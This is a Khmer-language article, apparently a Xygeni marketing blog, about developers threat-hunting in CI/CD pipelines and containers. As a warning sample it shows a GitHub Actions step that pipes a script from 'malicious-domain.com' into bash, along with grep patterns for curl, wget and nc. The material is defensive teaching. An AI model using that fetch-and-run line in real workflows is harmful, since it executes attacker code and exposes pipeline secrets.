ហេតុអ្វីបានជាការប្រមាញ់ការគំរាមកំហែងមានសារៈសំខាន់នៅក្នុងការអភិវឌ្ឍន៍ មិនត្រឹមតែក្រុមសន្តិសុខប៉ុណ្ណោះទេ
ក្រុមអភិវឌ្ឍន៍ភាគច្រើននៅតែពឹងផ្អែកលើការជូនដំណឹង SOC និងឧបករណ៍សុវត្ថិភាពខាងក្រៅដើម្បីរកមើលការគំរាមកំហែង។ ប៉ុន្តែការរកឃើញការគំរាមកំហែងកំពុងវិវឌ្ឍ ហើយការប្រមាញ់ការគំរាមកំហែងលែងជាកម្មសិទ្ធិរបស់អ្នកវិភាគសន្តិសុខទៀតហើយ។ ការប្រមាញ់ការគំរាមកំហែងតាមអ៊ីនធឺណិតកំពុងក្លាយជាជំនាញដែលអ្នកអភិវឌ្ឍន៍ត្រូវយកមកប្រើប្រាស់ក្នុងដំណើរការការងារផ្ទាល់ខ្លួនរបស់ពួកគេ។
ហេតុអ្វី? ដោយសារតែភ្នាក់ងារគំរាមកំហែងកំពុងកេងប្រវ័ញ្ចកាន់តែខ្លាំងឡើងៗនូវបច្ចេកវិទ្យា DevOps stack កញ្ចប់ដែលរងការគំរាមកំហែង, ស្វ័យប្រវត្តិកម្មក្លែងក្លាយ និង សញ្ញាសម្ងាត់ដែលប្រើប្រាស់ខុសហើយសញ្ញាទាំងនោះកម្រនឹងបង្កឱ្យមានការជូនដំណឹងសុវត្ថិភាពបែបប្រពៃណីណាស់។ កាលណាអ្នកប្រមាញ់ការគំរាមកំហែងរកឃើញបញ្ហាទាំងនេះកាន់តែឆាប់ ក្រុមកាន់តែអាចបញ្ឈប់ឧប្បត្តិហេតុពិតប្រាកដបានលឿនជាងមុន។
ចន្លោះប្រហោងពិតប្រាកដលេចឡើងនៅក្នុង៖
- CI/CD ការងារដែលដំណើរការប្រព័ន្ធគោលពីរដែលមិនស្គាល់ដោយស្ងាត់ៗ
- ភាពអាស្រ័យដែលត្រូវបានជំនួសនៅក្នុង pull requests
- អាថ៌កំបាំងបរិស្ថានត្រូវបានប្រើនៅក្នុងសាខាគួរឱ្យសង្ស័យ
ទាំងនេះមិនមែនជាបញ្ហាក្រុមសន្តិសុខទេ; ពួកវាជាការពិតរបស់អ្នកអភិវឌ្ឍន៍។ ហើយនេះជាកន្លែងដែលការប្រមាញ់ការគំរាមកំហែងត្រូវតែចាប់ផ្តើម៖ នៅខាងក្នុងកូដ pipelineនិងបរិយាកាសអភិវឌ្ឍន៍។ អ្នកអភិវឌ្ឍន៍ដែលប្រកាន់យកផ្នត់គំនិតប្រមាញ់ការគំរាមកំហែងតាមអ៊ីនធឺណិតក្លាយជាអ្នកប្រមាញ់ការគំរាមកំហែងដំបូង និងល្អបំផុតនៅក្នុងក្រុម។
របៀបដែលអ្នកប្រមាញ់ការគំរាមកំហែងរកឃើញសញ្ញាខ្សោយដែលអ្នកដទៃមិនអើពើ
អ្នកប្រមាញ់ការគំរាមកំហែងមិនរង់ចាំការជូនដំណឹងទេ។ ពួកគេស្វែងរកសញ្ញាខ្សោយ ការផ្លាស់ប្តូរបន្តិចបន្តួចដែលមិនត្រូវគ្នានឹងឥរិយាបថដែលរំពឹងទុក។ នៅក្នុងបរិបទនៃកូដ និង pipelineស, នេះមានន័យថា៖
សញ្ញាខ្សោយដែលអ្នកអភិវឌ្ឍន៍ដែលប្រែក្លាយជាអ្នកប្រមាញ់ការគំរាមកំហែងគួរតែរកឃើញ៖
- ហាសអាស្រ័យដែលបានផ្លាស់ប្ដូរដោយគ្មានការបង្កើនកំណែ
- A curl ហៅស្គ្រីបសាកល្បងដែលមិនមានកាលពីម្សិលមិញ
- A សកម្មភាព GitHub ដែលរត់ភ្លាមៗ chmod + x នៅលើឯកសារដែលបានទាញយក
- A ថូខឹន JWT ប្រើប្រាស់ក្នុងការងារដែលនៅក្រៅវិសាលភាពដែលបានគ្រោងទុក
⚠️ការព្រមាន៖ ជំហាននេះដំណើរការស្គ្រីបសែលពីដែនខាងក្រៅដោយមិនចាំបាច់ផ្ទៀងផ្ទាត់។ វាបង្កឱ្យមានហានិភ័យគួរឱ្យកត់សម្គាល់។
# suspicious GitHub Actions step
- name: Inject secrets
run: |
curl http://malicious-domain.com/payload.sh | bash
នេះនឹងមិនបង្កឱ្យមានច្បាប់សុវត្ថិភាពបែបប្រពៃណីទេ។ ប៉ុន្តែអ្នកប្រមាញ់ការគំរាមកំហែងមើលឃើញភាពមិនប្រក្រតី៖ ហេតុអ្វីបានជាបន្ទុកខាងក្រៅត្រូវបានប្រតិបត្តិនៅក្នុង CI? តើនៅឯណា? curl បញ្ជាមកពីណា? ផ្នត់គំនិតនេះ ដែលតាមដានអ្វីដែលមិននឹកស្មានដល់ បង្កើតភាពខុសគ្នា។ ការប្រមាញ់ការគំរាមកំហែងតាមអ៊ីនធឺណិតនៅក្នុងកូដមានន័យថា ការពិនិត្យមើលកំណត់ហេតុ ភាពខុសគ្នា និងឥរិយាបថដោយភ្នែកដ៏រិះគន់។
ការអនុវត្តការប្រមាញ់ការគំរាមកំហែងតាមអ៊ីនធឺណិតនៅខាងក្នុង CI/CD និងកុងតឺន័រ
អ្នកអភិវឌ្ឍន៍អាចសម្របបច្ចេកទេសប្រមាញ់ការគំរាមកំហែងតាមអ៊ីនធឺណិតដោយផ្ទាល់នៅខាងក្នុង CI/CD និងលំហូរការងារកុងតឺន័រ។ បរិស្ថានទាំងនេះងាយនឹងរងការរំលោភបំពាន ហើយអ្នកវាយប្រហារពឹងផ្អែកលើការពិតដែលថាអ្នកអភិវឌ្ឍន៍មិនបានមើល។
បច្ចេកទេសប្រមាញ់ការគំរាមកំហែងជាក់ស្តែងសម្រាប់អ្នកអភិវឌ្ឍន៍៖
- ការរកឃើញការប្រើប្រាស់ខុសនៃសញ្ញាសម្ងាត់៖ កំណត់ហេតុសវនកម្មសម្រាប់អាថ៌កំបាំងដែលប្រើក្នុងការងារដែលមិននឹកស្មានដល់ ឬដោយអ្នកប្រើប្រាស់ដែលគ្មានការអនុញ្ញាត។
- ការប្រតិបត្តិដំណើរការដែលមិនបានរំពឹងទុកតាមដានការងារដែលកំពុងដំណើរការពាក្យបញ្ជាដូចជា bash, wget, curl, chmodឬ ncជាពិសេសពីប្រភពដែលមិនស្គាល់។
- ភាពអាស្រ័យ រំខានប្រៀបធៀបភាពអាស្រ័យពេលសាងសង់ជាមួយនឹងហាសដែលបានអនុម័តជាមុន។ ឯកសារ Diff lock និងថតឯកសារអ្នកលក់។
⚠️ព្រមាន: ពាក្យបញ្ជាខាងក្រោមមិនគួរលេចឡើងក្នុងអំឡុងពេលភារកិច្ចសាងសង់ធម្មតាទេ។ ប្រសិនបើពួកវាលេចឡើង សូមស៊ើបអង្កេតភ្លាមៗ។
# hunting for unexpected processes inside a container
ps aux | grep -E 'wget|curl|nc|sh'
⚠️ព្រមាន: ឥរិយាបថមិនប្រក្រតីដូចជាកំណត់ហេតុ JSON នេះអាចបង្ហាញពីសកម្មភាពដែលគ្មានការអនុញ្ញាត ឬការចាក់ស្គ្រីប។
{
"job": "build-app",
"command": "curl https://weird-domain.net",
"time": "2024-08-21T10:23:00Z"
}
អ្នកប្រមាញ់ការគំរាមកំហែងនឹងស៊ើបអង្កេតពីមូលហេតុដែលពាក្យបញ្ជានេះត្រូវបានណែនាំ ហើយតាមដានវាទៅជាក់លាក់ណាមួយ commit ឬស្គ្រីប។ នេះគឺជាឥរិយាបថប្រមាញ់ការគំរាមកំហែងតាមអ៊ីនធឺណិតបែបបុរាណ ដោយរកឃើញការប្រើប្រាស់ខុសមុនពេលវាក្លាយជាការកេងប្រវ័ញ្ច។
ការបង្កប់វាទៅក្នុងការអនុវត្ត DevSecOps
គោលដៅមិនមែនដើម្បីពិនិត្យឡើងវិញដោយដៃនូវកំណត់ហេតុនីមួយៗ ឬ commitគោលដៅគឺដើម្បីបង្កប់តក្កវិជ្ជាប្រមាញ់ការគំរាមកំហែងដោយផ្ទាល់ទៅក្នុងរបស់អ្នក លំហូរការងារ DevSecOps.
របៀបដំណើរការការប្រមាញ់ការគំរាមកំហែង៖
- ការកត់ត្រាដែលមានរចនាសម្ព័ន្ធចាប់យកការប្រតិបត្តិពាក្យបញ្ជា ការផ្លាស់ប្តូរស្គ្រីប និងការហៅទូរស័ព្ទបណ្តាញដែលមិនបានរំពឹងទុក។
- Pipeline ការរកឃើញភាពមិនធម្មតា: ការជូនដំណឹងអំពីគម្លាតពី pipeline មូលដ្ឋានទិន្នន័យ ឧទាហរណ៍ ប្រព័ន្ធគោលពីរថ្មី អាថ៌កំបាំងដែលបានកែប្រែ ឬការហៅទូរស័ព្ទភាគីទីបីថ្មី។
- ការផ្ទៀងផ្ទាត់ឥរិយាបថគួរឱ្យសង្ស័យ៖ បន្ថែមការត្រួតពិនិត្យសុខភាព ឬច្រកអនុម័តសម្រាប់ការពឹងផ្អែកថ្មី ឬការផ្លាស់ប្តូរការងារដែលងាយរងគ្រោះ។
សូមគិតថាវាជាការរំកិលទៅខាងឆ្វេង ប៉ុន្តែជាមួយនឹងផ្នត់គំនិតជាអ្នកប្រមាញ់ការគំរាមកំហែង។ ការអនុវត្តល្អ៖ ប្រើការរកឃើញឋិតិវន្តដើម្បីសម្គាល់ពាក្យបញ្ជាដែលមានហានិភ័យជាមុន។
- name: Check for unexpected curl usage
run: |
grep -r 'curl' .github/workflows/ || echo "No curl found"
ការផ្គូផ្គងលំនាំសាមញ្ញអាចសម្គាល់ភាពមិនប្រក្រតីបានទាន់ពេលវេលា និងគាំទ្រដល់ការប្រមាញ់ការគំរាមកំហែងតាមអ៊ីនធឺណិតដោយមិនបន្ថែមភាពយឺតយ៉ាវទៅក្នុងការសាងសង់។
ការបរបាញ់គំរាមកំហែងតាមមាត្រដ្ឋានជាមួយ Xygeni នៅទូទាំងកូដ និង Pipelines
ការប្រមាញ់ការគំរាមកំហែងដោយដៃមានប្រសិទ្ធភាព ប៉ុន្តែវាមិនមានទំហំទេ។ នោះហើយជាកន្លែងដែល ស៊ីហ្គេនី ចូលមក។ Xygeni ផ្តល់អំណាចដល់អ្នកអភិវឌ្ឍន៍ឱ្យ៖
- តាមដានការប្រតិបត្តិដំណើរការដែលមិនបានរំពឹងទុកនៅទូទាំង CI/CD pipelines
- រកឃើញការប្រើប្រាស់គួរឱ្យសង្ស័យនៃថូខឹន ឬការពឹងផ្អែកដែលបានកែប្រែ
- កំណត់អត្តសញ្ញាណសញ្ញានៃការគំរាមកំហែងតាមអ៊ីនធឺណិតនៅទូទាំងឃ្លាំង និងកុងតឺន័រ
- បង្កើតមូលដ្ឋានដើម្បីរកឃើញឥរិយាបថ និងការគំរាមកំហែងថ្មីៗក្នុងពេលជាក់ស្តែង
- អនុញ្ញាតឱ្យអ្នកអភិវឌ្ឍន៍គ្រប់រូបដើរតួជាអ្នកប្រមាញ់ការគំរាមកំហែងជាមួយនឹងបរិបទស្វ័យប្រវត្តិ
មិនដូចឧបករណ៍ប្រពៃណីទេ Xygeni ព្យាបាលអ្នក pipelines និងកូដដូចជាគោលដៅលំដាប់ថ្នាក់ទីមួយសម្រាប់អ្នកវាយប្រហារ ហើយអនុញ្ញាតឱ្យអ្នកអភិវឌ្ឍន៍ស្វែងរកការគំរាមកំហែងនៅប្រភពដើមរបស់ពួកគេ។
ពីអ្នកអភិវឌ្ឍន៍ទៅជាអ្នកប្រមាញ់ការគំរាមកំហែង៖ តួនាទីរបស់អ្នកក្នុងការប្រមាញ់ការគំរាមកំហែងតាមអ៊ីនធឺណិត
ការប្រមាញ់ការគំរាមកំហែងមិនមែនសម្រាប់តែ SOC នោះទេ។ វាសម្រាប់អ្នកអភិវឌ្ឍន៍គ្រប់រូបដែលជំរុញកូដ កំណត់រចនាសម្ព័ន្ធ... pipelineឬបញ្ចូលភាពអាស្រ័យចូលគ្នា។ ដើម្បីគិតដូចជាអ្នកប្រមាញ់ការគំរាមកំហែង អ្នកត្រូវ៖
- តាមដានសញ្ញាខ្សោយដែលចង្អុលបង្ហាញពីការសម្របសម្រួល
- បរបាញ់នៅក្នុងបរិស្ថានផ្ទាល់ខ្លួនរបស់អ្នក៖ ការងារ CI កំណត់ហេតុកុងតឺន័រ commit ខុសគ្នា
- បង្កើតតក្កវិជ្ជារកឃើញទៅក្នុងដំណើរការការងាររបស់អ្នក មិនមែនជាការគិតទុកជាមុននោះទេ
ហើយជាមួយនឹងឧបករណ៍ដូចជា Xygeni អ្នកអាចធ្វើមាត្រដ្ឋានការប្រមាញ់ការគំរាមកំហែងតាមអ៊ីនធឺណិតនៅទូទាំងក្រុមរបស់អ្នក pipelines និងភាពអាស្រ័យ។
គិតដូចជាអ្នកវាយប្រហារ។ បរបាញ់ដូចជាអ្នកអភិវឌ្ឍន៍។







